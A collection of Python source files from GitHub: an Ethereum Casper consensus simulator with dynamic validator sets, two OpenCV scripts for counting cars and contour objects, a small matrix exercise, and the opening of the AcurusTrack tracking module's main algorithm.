{"seq_id":"9212309182","text":"# Implements Minimal Slashing Conditions and dynamic validator sets, descriptions here:\n# Slashing Conditions: https://docs.google.com/document/d/1ecFPYhe7YsKNQUAx48S8hoyK9Y4Rbe9be_lCe_vj2ek\n# Dynamic Validator Sets: https://medium.com/@VitalikButerin/safety-under-dynamic-validator-sets-ef0c3bbdf9f6#.igylifcm9\n\nimport random\n\nPOOL_SIZE = 10\nVALIDATOR_IDS = range(0, POOL_SIZE*2)\nINITIAL_VALIDATORS = range(0, POOL_SIZE)\nBLOCK_TIME = 100\nEPOCH_LENGTH = 5\nAVG_LATENCY = 255\n\ndef poisson_latency(latency):\n    return lambda: 1 + int(random.gammavariate(1, 1) * latency)\n\nclass Network():\n    def __init__(self, latency):\n        self.nodes = []\n        self.latency = latency\n        self.time = 0\n        self.msg_arrivals = {}\n\n    def broadcast(self, msg):\n        for i, n in enumerate(self.nodes):\n            delay = self.latency()\n            if self.time + delay not in self.msg_arrivals:\n                self.msg_arrivals[self.time + delay] = []\n            self.msg_arrivals[self.time + delay].append((i, msg))\n\n    def tick(self):\n        if self.time in self.msg_arrivals:\n            for node_index, msg in self.msg_arrivals[self.time]:\n                self.nodes[node_index].on_receive(msg)\n            del self.msg_arrivals[self.time]\n        for n in self.nodes:\n            n.tick(self.time)\n        self.time += 1\n\nclass Block():\n    def __init__(self, parent=None, finalized_dynasties=None):\n        self.hash = random.randrange(10**30)\n        # If we are genesis block, set initial values\n        if not parent:\n            self.number = 0\n            self.prevhash = 0\n            self.prev_dynasty = self.current_dynasty = Dynasty(INITIAL_VALIDATORS)\n            self.next_dynasty = self.generate_next_dynasty(self.current_dynasty.number)\n            return\n        # Set our block number and our prevhash\n        self.number = parent.number + 1\n        self.prevhash = parent.hash\n        # Generate a random next dynasty\n        self.next_dynasty = self.generate_next_dynasty(parent.current_dynasty.number)\n        # If the current_dynasty was finalized, we advance to the next dynasty\n        if parent.current_dynasty in finalized_dynasties:\n            self.prev_dynasty = parent.current_dynasty\n            self.current_dynasty = parent.next_dynasty\n            return\n        # `current_dynasty` has not yet been finalized so we don't rotate validators\n        self.prev_dynasty = parent.prev_dynasty\n        self.current_dynasty = parent.current_dynasty\n\n    @property\n    def epoch(self):\n        return self.number // EPOCH_LENGTH\n\n    def generate_next_dynasty(self, prev_dynasty_number):\n        random.seed(self.hash)\n        next_dynasty = Dynasty(random.sample(VALIDATOR_IDS, POOL_SIZE), prev_dynasty_number+1)\n        random.seed()\n        return next_dynasty\n\nclass Prepare():\n    def __init__(self, view, _hash, view_source, sender):\n        self.view = view\n        self.hash = random.randrange(10**30)\n        self.blockhash = _hash\n        self.view_source = view_source\n        self.sender = sender\n\nclass Commit():\n    def __init__(self, view, _hash, sender):\n        self.view = view\n        self.hash = random.randrange(10**30)\n        self.blockhash = _hash\n        self.sender = sender\n\nclass Dynasty():\n    def __init__(self, validators, number=0):\n        self.validators = validators\n        self.number = number\n\n    def __hash__(self):\n        return hash(str(self.number) + str(self.validators))\n\n    def __eq__(self, other):\n        return (str(self.number) + str(self.validators)) == (str(other.number) + str(other.validators))\n\nGENESIS = Block()\n\n# Fork choice rule:\n# 1. HEAD = genesis\n# 2. Find the descendant with the highest number of commits\n# 3. Repeat 2 until 0 commits\n# 4. Longest chain rule\n\nclass Node():\n    def __init__(self, network, id):\n        # List of highest-commit descendants along with their commit counts, in oldest-to-newest order\n        self.checkpoints = [GENESIS.hash]\n        # Received blocks\n        self.received = {GENESIS.hash: GENESIS}\n        # Messages that will be processed once a given message is received\n        self.dependencies = {}\n        # Checkpoint to view source to prepare count\n        self.prepare_count = {}\n        # Checkpoints that can be committed\n        self.committable = {}\n        # Commits for any given checkpoint\n        # Genesis is an immutable start of the chain\n        self.commits = {GENESIS.hash: INITIAL_VALIDATORS}\n        # Set of finalized dynasties\n        self.finalized_dynasties = set()\n        self.finalized_dynasties.add(Dynasty(INITIAL_VALIDATORS))\n        # My current epoch\n        self.current_epoch = 0\n        # My highest committed epoch and hash\n        self.highest_committed_epoch = -1\n        self.highest_committed_hash = GENESIS.hash\n        # Network I am connected to\n        self.network = network\n        network.nodes.append(self)\n        # Longest tail from each checkpoint\n        self.tails = {GENESIS.hash: GENESIS}\n        # Tail that each block belongs to\n        self.tail_membership = {GENESIS.hash: GENESIS.hash}\n        # This node's ID\n        self.id = id\n\n    @property\n    def head(self):\n        latest_checkpoint = self.checkpoints[-1]\n        latest_block = self.tails[latest_checkpoint]\n        return latest_block\n\n    # Get the checkpoint immediately before a given checkpoint\n    def get_checkpoint_parent(self, block):\n        if block.number == 0:\n            return None\n        return self.received[self.tail_membership[block.prevhash]]\n\n    # If we received an object but did not receive some dependencies\n    # needed to process it, save it to be processed later\n    def add_dependency(self, _hash, obj):\n        if _hash not in self.dependencies:\n            self.dependencies[_hash] = []\n        self.dependencies[_hash].append(obj)\n\n    # Is a given checkpoint an ancestor of another given checkpoint?\n    def is_ancestor(self, anc, desc):\n        if not isinstance(anc, Block):\n            anc = self.received[anc]\n        if not isinstance(desc, Block):\n            desc = self.received[desc]\n        assert anc.number % EPOCH_LENGTH == 0\n        assert desc.number % EPOCH_LENGTH == 0\n        while True:\n            if desc is None:\n                return False\n            if desc.hash == anc.hash:\n                return True\n            desc = self.get_checkpoint_parent(desc)\n\n    def get_last_committed_checkpoint(self):\n        z = len(self.checkpoints) - 1\n        while self.score_checkpoint(self.received[self.checkpoints[z]]) < 1:\n            z -= 1\n        return self.checkpoints[z]\n\n    # Called on receiving a block\n    def accept_block(self, block):\n        # If we didn't receive the block's parent yet, wait\n        if block.prevhash not in self.received:\n            self.add_dependency(block.prevhash, block)\n            return False\n        # We recived the block\n        self.received[block.hash] = block\n        # print(self.id, 'got a block', block.number, block.hash)\n        # If it's an epoch block (in general)\n        if block.number % EPOCH_LENGTH == 0:\n            #  Start a tail object for it\n            self.tail_membership[block.hash] = block.hash\n            self.tails[block.hash] = block\n        # Otherwise...\n        else:\n            # See if it's part of the longest tail, if so set the tail accordingly\n            assert block.prevhash in self.received\n            assert block.prevhash in self.tail_membership\n            self.tail_membership[block.hash] = self.tail_membership[block.prevhash]\n            if block.number > self.tails[self.tail_membership[block.hash]].number:\n                self.tails[self.tail_membership[block.hash]] = block\n        self.check_checkpoints(self.received[self.tail_membership[block.hash]])\n        self.maybe_prepare_last_checkpoint()\n        return True\n\n    def maybe_prepare_last_checkpoint(self):\n        target_block = self.received[self.checkpoints[-1]]\n        # If the block is an epoch block of a higher epoch than what we've seen so far\n        if target_block.epoch > self.current_epoch:\n            print('now in epoch %d' % target_block.epoch)\n            # Increment our epoch\n            self.current_epoch = target_block.epoch\n            # If our highest committed hash is in the main chain (in most cases\n            # it should be), then send a prepare\n            last_committed_checkpoint = self.get_last_committed_checkpoint()\n            if self.is_ancestor(self.highest_committed_hash, last_committed_checkpoint):\n                print('Preparing %d for epoch %d with view source %d' %\n                      (target_block.hash, target_block.epoch, self.received[last_committed_checkpoint].epoch))\n                self.network.broadcast(Prepare(target_block.epoch, target_block.hash, self.received[last_committed_checkpoint].epoch, self.id))\n                assert self.received[target_block.hash]\n\n    # Pick a checkpoint by number of commits first, epoch number\n    # (ie. longest chain rule) second\n    def score_checkpoint(self, block):\n        # Choose the dynasty (current or previous) with the minimum number of commits\n        current_dynasty_number_of_commits = len(list(set(block.current_dynasty.validators) & set(self.commits.get(block.hash, []))))\n        prev_dynasty_number_of_commits = len(list(set(block.prev_dynasty.validators) & set(self.commits.get(block.hash, []))))\n        number_of_commits = min(current_dynasty_number_of_commits, prev_dynasty_number_of_commits)\n        return number_of_commits + 0.000000001 * self.tails[block.hash].number\n\n    # See if a given epoch block requires us to reorganize our checkpoint list\n    def check_checkpoints(self, block):\n        # Is this hash already in our main chain? Then do nothing\n        if block.hash in self.checkpoints:\n            # prev_checkpoint = self.received[self.checkpoints[self.checkpoints.index(block.hash) - 1]]\n            # if score_checkpoint(block) < score_checkpoint(prev_checkpoint):\n            return\n        # Figure out how many of our checkpoints we need to revert\n        z = len(self.checkpoints) - 1\n        new_score = self.score_checkpoint(block)\n        while new_score > self.score_checkpoint(self.received[self.checkpoints[z]]):\n            z -= 1\n        # If none, do nothing\n        if z == len(self.checkpoints) - 1 and block.number <= self.received[self.checkpoints[z-1]].number:\n            return\n        # Delete the checkpoints that need to be superseded\n        self.checkpoints = self.checkpoints[:z + 1]\n        # Re-run the fork choice rule\n        while 1:\n            # Find the descendant with the highest score (commits first, epoch second)\n            max_score = 0\n            max_descendant = None\n            for _hash in self.tails:\n                if self.is_ancestor(self.checkpoints[-1], _hash) and _hash != self.checkpoints[-1]:\n                    new_score = self.score_checkpoint(self.received[_hash])\n                    if new_score > max_score:\n                        max_score = new_score\n                        max_descendant = _hash\n            # Append to the chain that checkpoint, and all checkpoints between the\n            # last checkpoint and the new one\n            if max_descendant:\n                new_chain = [max_descendant]\n                while new_chain[0] != self.checkpoints[-1]:\n                    new_chain.insert(0, self.get_checkpoint_parent(self.received[new_chain[0]]).hash)\n                self.checkpoints.extend(new_chain[1:])\n            # If there were no suitable descendants found, break\n            else:\n                break\n        print('New checkpoints: %r' % [self.received[b].epoch for b in self.checkpoints])\n\n    # Called on receiving a prepare message\n    def accept_prepare(self, prepare):\n        if self.id == 0:\n            print('got a prepare', prepare.view, prepare.view_source, prepare.blockhash, prepare.blockhash in self.received)\n        # If the block has not yet been received, wait\n        if prepare.blockhash not in self.received:\n            self.add_dependency(prepare.blockhash, prepare)\n            return False\n        # If the sender is not in the prepare's dynasty, ignore the prepare\n        if prepare.sender not in self.received[prepare.blockhash].current_dynasty.validators and \\\n                prepare.sender not in self.received[prepare.blockhash].prev_dynasty.validators:\n            return False\n        # Add to the prepare count\n        if prepare.blockhash not in self.prepare_count:\n            self.prepare_count[prepare.blockhash] = {}\n        self.prepare_count[prepare.blockhash][prepare.view_source] = self.prepare_count[prepare.blockhash].get(prepare.view_source, 0) + 1\n        # If there are enough prepares and the previous dynasty is finalized...\n        if self.prepare_count[prepare.blockhash][prepare.view_source] > (POOL_SIZE * 2) // 3 and \\\n                self.received[prepare.blockhash].prev_dynasty in self.finalized_dynasties and \\\n                prepare.blockhash not in self.committable:\n            # Mark it as committable\n            self.committable[prepare.blockhash] = True\n            # Start counting commits\n            self.commits[prepare.blockhash] = []\n            # If there are dependencies (ie. commits that arrived before there\n            # were enough prepares), since there are now enough prepares we\n            # can process them\n            if \"commit:\"+str(prepare.blockhash) in self.dependencies:\n                for c in self.dependencies[\"commit:\"+str(prepare.blockhash)]:\n                    self.accept_commit(c)\n                del self.dependencies[\"commit:\"+str(prepare.blockhash)]\n            # Broadcast a commit\n            if self.current_epoch == prepare.view:\n                self.network.broadcast(Commit(prepare.view, prepare.blockhash, self.id))\n                print('Committing %d for epoch %d' % (prepare.blockhash, prepare.view))\n                self.highest_committed_epoch = prepare.view\n                self.highest_committed_hash = prepare.blockhash\n                self.current_epoch = prepare.view + 0.5\n        return True\n\n    # Called on receiving a commit message\n    def accept_commit(self, commit):\n        if self.id == 0:\n            print('got a commmit', commit.view, commit.blockhash, commit.blockhash in self.received, commit.blockhash in self.committable)\n        # If the block has not yet been received, wait\n        if commit.blockhash not in self.received:\n            self.add_dependency(commit.blockhash, commit)\n            return False\n        # If the sender is not in the commit's dynasty, ignore the commit\n        if commit.sender not in self.received[commit.blockhash].current_dynasty.validators and \\\n                commit.sender not in self.received[commit.blockhash].prev_dynasty.validators:\n            return False\n        # If there have not yet been enough prepares, wait\n        if commit.blockhash not in self.committable:\n            self.add_dependency(\"commit:\"+str(commit.blockhash), commit)\n            return False\n        # Add the commit by recording the sender\n        self.commits[commit.blockhash].append(commit.sender)\n        # Check if the block is finalized\n        current_dynasty_commits = list(set(self.received[commit.blockhash].current_dynasty.validators) & set(self.commits[commit.blockhash]))\n        prev_dynasty_commits = list(set(self.received[commit.blockhash].prev_dynasty.validators) & set(self.commits[commit.blockhash]))\n        if len(current_dynasty_commits) > (POOL_SIZE * 2) // 3 and len(prev_dynasty_commits) > (POOL_SIZE * 2) // 3:\n            # Because the block has been finalized let's record its dynasty as finalized\n            finalized_dynasty = self.received[commit.blockhash].current_dynasty\n            self.finalized_dynasties.add(finalized_dynasty)\n            print('Finalizing dynasty number %d for block number %d' %\n                  (finalized_dynasty.number, self.received[commit.blockhash].number))\n        # Update the checkpoints if needed\n        self.check_checkpoints(self.received[commit.blockhash])\n        return True\n\n    # Called on receiving any object\n    def on_receive(self, obj):\n        if obj.hash in self.received:\n            return False\n        if isinstance(obj, Block):\n            o = self.accept_block(obj)\n        elif isinstance(obj, Prepare):\n            o = self.accept_prepare(obj)\n        elif isinstance(obj, Commit):\n            o = self.accept_commit(obj)\n        # If the object was successfully processed\n        # (ie. not flagged as having unsatisfied dependencies)\n        if o:\n            self.received[obj.hash] = obj\n            if obj.hash in self.dependencies:\n                for d in self.dependencies[obj.hash]:\n                    self.on_receive(d)\n                del self.dependencies[obj.hash]\n\n    # Called every round\n    def tick(self, _time):\n        if self.id == (_time // BLOCK_TIME) % POOL_SIZE and _time % BLOCK_TIME == 0:\n            new_block = Block(self.head, self.finalized_dynasties)\n            self.network.broadcast(new_block)\n            self.on_receive(new_block)\n\nnetwork = Network(poisson_latency(AVG_LATENCY))\nnodes = [Node(network, i) for i in VALIDATOR_IDS]\nfor t in range(25000):\n    network.tick()\n    if t % 1000 == 999:\n        print('Heads:', [n.head.number for n in nodes])\n        print('Checkpoints:', nodes[0].checkpoints)\n        print('Commits:', [nodes[0].commits.get(c, 0) for c in nodes[0].checkpoints])\n        print('Blocks Dynasties:', [(nodes[0].received[c].current_dynasty.number) for c in nodes[0].checkpoints])\n        print('All Node Dynasties:', [(node.tails[node.checkpoints[-1]].current_dynasty.number) for node in nodes])\n","repo_name":"ethereum/research","sub_path":"casper4/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":17711,"program_lang":"python","lang":"en","doc_type":"code","stars":1683,"dataset":"github-code","pt":"35"}
{"seq_id":"4768829994","text":"# Idea:\n# 1. Estimate the background with median filtering\n# 2. Remove the background from the image\n# 3. Apply blurring and thresholding techniques\n# 4. Detect the contours\nimport numpy as np\nimport cv2\nfrom tracker import *\nimport matplotlib.pyplot as plt\n\nnp.random.seed(42)\n\n\n#video_writer = cv2.VideoWriter('obj_detect.mp4', cv2.VideoWriter_fourcc(*'MP4V'), 30, (640, 480))\nvideo_stream = cv2.VideoCapture(r'C:\\Users\\GHANEM\\Desktop\\OpenCV\\data\\highway_short.mp4')\n\n# Method1.\n#object_detector = cv2.createBackgroundSubtractorMOG2(history=100, varThreshold=40)\n# Method2. we get some random frames for the background\n\n#Randomly select 30 frames\nframeIds = video_stream.get(cv2.CAP_PROP_FRAME_COUNT) * np.random.uniform(size=30)\n\n# Store selected frames in an array\nframes = []\nfor fid in frameIds:\n    video_stream.set(cv2.CAP_PROP_POS_FRAMES, fid)\n    ret, frame = video_stream.read()\n    roi = frame[125:360, 75:500]\n    frames.append(roi)\n\nvideo_stream.release()\nvideo_stream = cv2.VideoCapture(r'C:\\Users\\GHANEM\\Desktop\\OpenCV\\data\\highway_short.mp4')\n# Calculate the median along the time axis\nmedian_frame = np.median(frames, axis=0).astype(dtype=np.uint8)\ngray_median_frame = cv2.cvtColor(median_frame, cv2.COLOR_BGR2GRAY)\n#plt.imshow(cv2.cvtColor(median_frame, cv2.COLOR_BGR2RGB))\n#plt.show()\n\n# Create tracker object\ntracker = EuclideanDistTracker()\n\n# CAP_PROP_FRAME COUNT gets the nr of frames in the video file\ntotal_frames = video_stream.get(cv2.CAP_PROP_FRAME_COUNT)  # * np.random.uniform(size=40)\ncar_count = 0\nwhile True:\n    ret, frame = video_stream.read()\n    #height, width, _ = frame.shape\n    # print(height, width) #w 75- 500, h 150-360 to find the roi with eyes\n    roi = frame[125:360, 75:500]\n    #mask = object_detector.apply(roi)\n    #contours, _ = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n    #for cont in contours:\n        #area = cv2.contourArea(cont)\n        #if area > 200:\n        #    cv2.drawContours(frame, cont, -1, (0, 255, 0), 2)\n    gray_frame = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY)\n    abs_diff_frame = cv2.absdiff(gray_frame, gray_median_frame)\n    blurred = cv2.GaussianBlur(abs_diff_frame, (11, 11), 0)\n    _, threshholded_frame = cv2.threshold(blurred, 0, 255, cv2.RETR_EXTERNAL + cv2.THRESH_OTSU)\n    contours, _ = cv2.findContours(threshholded_frame.copy(), cv2.RETR_EXTERNAL, cv2 .CHAIN_APPROX_SIMPLE)\n    cv2.line(frame, (140, 200), (400, 200), (255, 0, 0), 2)\n    cv2.line(frame, (140, 202), (400, 210), (0, 255, 0), 2)\n    cv2.line(frame, (140, 197), (400, 190), (0, 255, 0), 2)\n    detections = []\n    for cont in contours:\n        area = cv2.contourArea(cont)\n        x, y, w, h = cv2.boundingRect(cont)\n        if area > 200:  # Disregard items with too small bbox\n            cv2.rectangle(roi, (x, y), (x + w, y+ h), (0, 255, 0), 2)\n            xMid = int((x + (x + w)) / 2)\n            yMid = int((y + (y + h)) / 2)\n\n            detections.append([x, y, w, h])\n        cv2.circle(roi, (xMid, yMid), 5, (0, 0, 255), 1)\n        if 197 < yMid < 202:\n            car_count += 1\n    # Obj Tracking\n    boxes_ids = tracker.update(detections)\n    for box_id in boxes_ids:\n        x, y, w, h, id = box_id\n        cv2.putText(roi, str(id), (x - 20, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n\n    cv2.putText(frame, 'car count: {}'.format(car_count), (20, 25), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 0), 2)\n    cv2.imshow('Frame', frame)\n    #cv2.imshow('Frame', roi)\n    key = cv2.waitKey(5) & 0xFF\n    if key == ord('q'):\n        break\n#    video_writer.write((cv2.resize(frame, (640, 360))))\n\n#video_stream.release()\n#video_writer.release()\n\n","repo_name":"AbrahamGhanem/computer_vision","sub_path":"object_detection.py","file_name":"object_detection.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36126334931","text":"'''Tool/Script using which you can find out a perfect combination of : \nKernel size (width/height) , Threshold (used to produce binary image) , \ndivisor and multiplier for average contour size (to get lower and upper \nbound for contour sizes to be taken into consideration)'''\n\n#Command to issue from terminal : python3 <script_name>.py <test_image> <thickness_of_contour_borders>\n\n#Example: python3 counting_objects.py traffic.jpeg 2\n\n\n\n\nimport cv2, sys\n\ndef fun():\n\tglobal img, thresh,w,h,original,thickness,initial,min_size_factor,max_size_factor\n\t\n\t#blurring a grayscaled image \n\t# w:kernel Width\n\t# h:Kernel Height\n\t\n\tblur = cv2.GaussianBlur(img, (w, h), 0)\n\t\n\n\t# Anyone thresholding scheme can be used\n\n\t#This one thresholding scheme requires a threshold value to be supplied : we will find out accuracy of supplied value by varying value using trackbars\n\t(t, mask) = cv2.threshold(blur, thresh, 255, cv2.THRESH_BINARY)\n\n\t#The following three are automatic thresholding schemes in which threshold value is calculated automatically\n\n\t# (t, mask)\t = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n\n\t# mask = cv2.adaptiveThreshold(blur, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 115, 1)\n\n\t# mask = cv2.adaptiveThreshold(blur, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 115, 1)\n\n\t\n\t# showing the binary image\n\tcv2.imshow(\"image\", mask)\n\n\t#binary image contains all the objects of interest (contours of which are to be found) in white colour with a black background \n\n\t# find contours\n\t(_, contours, _) = cv2.findContours(mask, cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n\n\n\t#below is the calculation of average size of contours\n\tavg = 0\n\tfor c in contours:\n\t\tavg += len(c)\n\n\tavg /= len(contours)\n\tres=[]\n\n\t#Below is the filtering of contours on basis of their size\n\tfor i,c in enumerate(contours):\n\t\tif len(c)>=avg/min_size_factor and len(c)<=max_size_factor*avg:\n\t\t\tres.append(i)\n\n\t# res is a list of indices of contours which curve around actual objects of interest \t\t\n\t\t\t\n\n\t# print table of contours and sizes\n\tprint(\"Found %d objects.\" % len(res))\n\t# for (i, c) in enumerate(contours):\n\t# \tprint(\"\\tSize of contour %d: %d\" % (i, len(c)))\n\n\t# draw contours over the image (a temporary copy of original image)\n\tcv2.imwrite('temp.jpeg',original)\n\ttempo = cv2.imread('temp.jpeg',1)\n\n\tfor i in res:\n\t\tcv2.drawContours(tempo, contours, i, (0, 255, 255), thickness)\n\n\t# display original image with contours\n\tcv2.namedWindow(\"output\", cv2.WINDOW_NORMAL)\n\tcv2.imshow(\"output\", tempo)\n\n\n\t   \n\n\n\n\n\n#The following functions get executed whenenver a modification in magnitude occurs at respective Trackbars\n\ndef adjustThresh(v):\n    global thresh\n    thresh = v\n    fun()\n    \ndef adjustKernelWidth(v):\n    global w\n    w= v\n    fun()\n\n\ndef adjustKernelHeight(v):\n    global h\n    h = v\n    fun()\n\n\n\ndef adjustMinSizeFactor(v):\n    global min_size_factor\n    min_size_factor = v\n    fun()\n\ndef adjustMaxSizeFactor(v):\n    global max_size_factor\n    max_size_factor = v\n    fun()\n\n\n\n\n\n'''\n * Main program begins here.\n\n'''\n\n# read and save command-line parameters\nfilename = sys.argv[1]\nthickness = int(sys.argv[2])\n\n# read image as grayscale, and blur it\noriginal = cv2.imread(filename)\nimg = cv2.cvtColor(original, cv2.COLOR_BGR2GRAY)\n\n\n\n# create the display window and the trackbar\ncv2.namedWindow(\"image\", cv2.WINDOW_NORMAL)\nthresh = 128\nw=5\nh=5\nmin_size_factor=2\nmax_size_factor=2\n\n\n#creating and associating trackbars with respective methods\ncv2.createTrackbar(\"thresh\", \"image\", thresh, 255, adjustThresh)\ncv2.createTrackbar(\"kernelw\", \"image\", w, 155, adjustKernelWidth)\ncv2.createTrackbar(\"kernelh\", \"image\", h, 155, adjustKernelHeight)\ncv2.createTrackbar(\"x in (avg/x)\", \"image\", min_size_factor, 20, adjustMinSizeFactor)\ncv2.createTrackbar(\"y in (avg*y)\", \"image\", max_size_factor, 20, adjustMaxSizeFactor)\n\n\nfun()\ncv2.waitKey(0)\n\n\n\n\n\n\n\n","repo_name":"manoj-jeswani/image-processing-stuff","sub_path":"counting_objects.py","file_name":"counting_objects.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"44127435868","text":"# - Create (dynamically) a two dimensional list\n#   with the following matrix. Use a loop!\n#\n#   1 0 0 0\n#   0 1 0 0\n#   0 0 1 0\n#   0 0 0 1\n#\n# - Print this two dimensional list to the output\nl = []\nfor i in range(4):\n    x = []\n    for j in range(4):\n        if i == j:\n            x.append(\"1\")\n        else: \n            x.append(\"0\")       \n    l.append(x)\nfor i in l:\n    print(i)","repo_name":"green-fox-academy/KrisztianS","sub_path":"week-02/day-02/diagonal_matrix.py","file_name":"diagonal_matrix.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19623698754","text":"\"\"\"\nThis file is part of AcurusTrack.\n\n    AcurusTrack is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    AcurusTrack is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with AcurusTrack.  If not, see <https://www.gnu.org/licenses/>.\n\"\"\"\n\nimport json\nimport multiprocessing\nimport os\nimport random\n\nimport numpy as np\n\nimport FCS.fixed_coordinate_system as fixu\nimport utils.processing.meta_processing_utils as mpu\nimport utils.utils_ as util\nimport utils.utils_pandas_df as pdu\nfrom config import MetaProcessingParams, SystemParams, AcceptanceParams, LogicParams\nfrom processing.dataframe_processing import DataframeProcessing\nfrom processing.file_processing import FileProcessing\nfrom processing.meta_processing import MetaPartition, MetaPreparation\nfrom track.tracker_merger import TrackerMerger\n\n\"\"\"Main components for running algorithm\"\"\"\n\n\ndef choose_best_csv_final_last(path_meta):\n    folders_ = os.listdir(path_meta)\n    folders = [f for f in folders_ if\n               not (f.endswith('.png') or f.endswith('.сsv') or f.endswith('.txt')) and f != 'utils']\n    folder = folders[0]\n    final_folder_path = os.path.join(path_meta, folder)\n    json_files = os.listdir(final_folder_path)\n    best_json = [f for f in json_files if f.endswith(\"LAST_TRUE.сsv\")]\n    if not best_json:\n        ratio_json = [f for f in json_files if f.endswith(\"BEST_RATIO.csv\")]\n        choice = ratio_json[0]\n    else:\n        choice = best_json[0]\n    path_to_best_json = os.path.join(final_folder_path, choice)\n    return path_to_best_json\n\n\ndef make_new_numeration_dict(func):\n    def decorator(ref):\n        meta, hom = func(ref)\n        if MetaProcessingParams.renumbering:\n            meta = mpu.change_meta_numeration(\n                meta)\n        return meta, hom\n\n    return decorator\n\n\ndef get_original_coordinates(func):\n    def decorator(ref):\n        meta, homography_dict = func(ref)\n        if MetaProcessingParams.fixed_coordinate_system:\n            meta = fixu.fixed_to_original_coordinate_system(\n                meta, homography_dict, int(os.environ.get('fixed_coordinate_resize_h')),\n                int(os.environ.get('fixed_coordinate_resize_w')), int(os.environ.get('img_h')),\n                int(os.environ.get('img_w'))\n            )\n        return meta, homography_dict\n\n    return decorator\n\n\ndef make_new_numeration_pandas(func):\n    def decorator(ref):\n        meta = func(ref)\n        if MetaProcessingParams.renumbering:\n            new_indexes = pdu.get_update_indexes_rule(\n                meta)  # renumbering by quantity\n            meta = meta.replace({\n                'id': new_indexes})\n        return meta\n\n    return decorator\n\n\nclass MainAlgo:\n    def __init__(self, detections, homography_dict,\n                 global_start_frame=None, global_end_frame=None):\n        os.environ['PYTHONHASHSEED'] = str(SystemParams.seed)\n        random.seed(SystemParams.seed)\n        np.random.seed(SystemParams.seed)\n\n        self.res_dir = os.environ.get('RES_DIR')\n        self.homography = homography_dict\n\n        self.start_frame, self.end_frame = self.determine_start_end(global_start_frame, global_end_frame, detections)\n        self.full_meta = self.initialise_meta(detections, 'full')  # change detections inside\n        self.__windows = self.get_windows()\n        self.wind_objects = self.prepare_objs_for_each_window()\n\n    @staticmethod\n    def determine_start_end(start, end, detections):\n        if not end:\n            end = int(sorted(list(detections.keys()))[-1])\n        else:\n            a = detections.get(end, None)\n            if not a:\n                raise ValueError('there is no such end in meta')\n        if not start:\n            start = int(sorted(list(detections.keys()))[0])\n        else:\n            a = detections.get(start, None)\n            if not a:\n                raise ValueError('there is no such start in meta')\n        return start, end\n\n    @property\n    def windows(self):\n        return self.__windows\n\n    @make_new_numeration_pandas\n    def analysis(self):\n\n        self.process_windows_separately()\n        overlapped_windows = make_best_windows(\n            self.res_dir)  # do merge by overlapped windows\n        if len(self.wind_objects) > 1 and LogicParams.use_final_merge:\n            final_meta = self.final_merge_single(overlapped_windows)\n        else:\n            final_meta = overlapped_windows\n\n        return final_meta\n\n    @make_new_numeration_dict\n    @get_original_coordinates\n    def get_meta(self):\n        final_meta = self.analysis()\n        final_meta_dict = pdu.from_dataframe_to_dict(\n            final_meta)\n        return final_meta_dict, self.homography\n\n    def run_analyser(self):\n        final_meta_dict, hom = self.get_meta()\n        final_meta_dir = os.path.join(os.environ.get('EXP_DIR'), 'result')\n        if not os.path.exists(final_meta_dir):\n            os.makedirs(final_meta_dir)\n        final_meta_path = os.path.join(final_meta_dir, 'result.json')\n        with open(final_meta_path, 'w') as final_meta:\n            json.dump(final_meta_dict, final_meta)\n\n    def get_windows(self):\n        \"\"\" Choose windows for processing according to density of the tracks\"\"\"\n        ids = []\n        curr_start = self.start_frame\n        curr_window_len = 0\n        windows = {}\n        segment = {}\n        frame_no = curr_start\n        while True:\n            if frame_no not in self.full_meta.data:\n                frame_no += 1\n                if frame_no == self.end_frame:\n                    break\n                continue\n            frame_info = self.full_meta.data[frame_no]\n            segment[frame_no] = frame_info\n            for elem in frame_info:\n                data = elem.get('index', None)\n                if data is not None:\n                    if elem['index'] not in ids:\n                        ids.append(elem['index'])\n                        curr_window_len += 1\n            if curr_window_len > MetaProcessingParams.max_tracks_number_at_window or frame_no == self.end_frame:\n                windows[str(curr_start) + '_' + str(frame_no)] = segment\n                segment = {}\n                curr_window_len = 0\n                frame_no -= MetaProcessingParams.overlap\n                curr_start = frame_no\n                if frame_no + MetaProcessingParams.overlap >= self.end_frame:\n                    break\n            frame_no += 1\n        assert windows\n        return windows\n\n    def prepare_objs_for_each_window(self):\n        wind_objects = []\n        for name, window in self.windows.items():\n            meta_object = MetaPartition(window, pdu.dataframe_from_dict(window), self.homography, name)\n            files_work = FileProcessing(meta_object, '{}'.format(name))\n            meta_object.add_observer(files_work)\n            processed_meta = DataframeProcessing(meta_object)\n            meta_object.add_observer(processed_meta)\n            tracker_obj = TrackerMerger(processed_meta, meta_object, files_work)\n            # tracker_obj = TrackerMergerSpliter(processed_meta, meta_object, files_work)\n            wind_objects.append(tracker_obj)\n        return wind_objects\n\n    def initialise_meta(self, meta, name):\n        meta_start_end = util.fill_and_format(meta, self.start_frame, self.end_frame)\n        meta_object = MetaPartition(meta_start_end, None, self.homography,\n                                    name)  # do not have dataframe form, so pass None\n        preparation = MetaPreparation()\n        meta_object.apply(preparation)\n        with open(os.path.join(self.res_dir, 'initialised.json'), 'w') as json_to_save:\n            json.dump(meta_object.data, json_to_save)\n        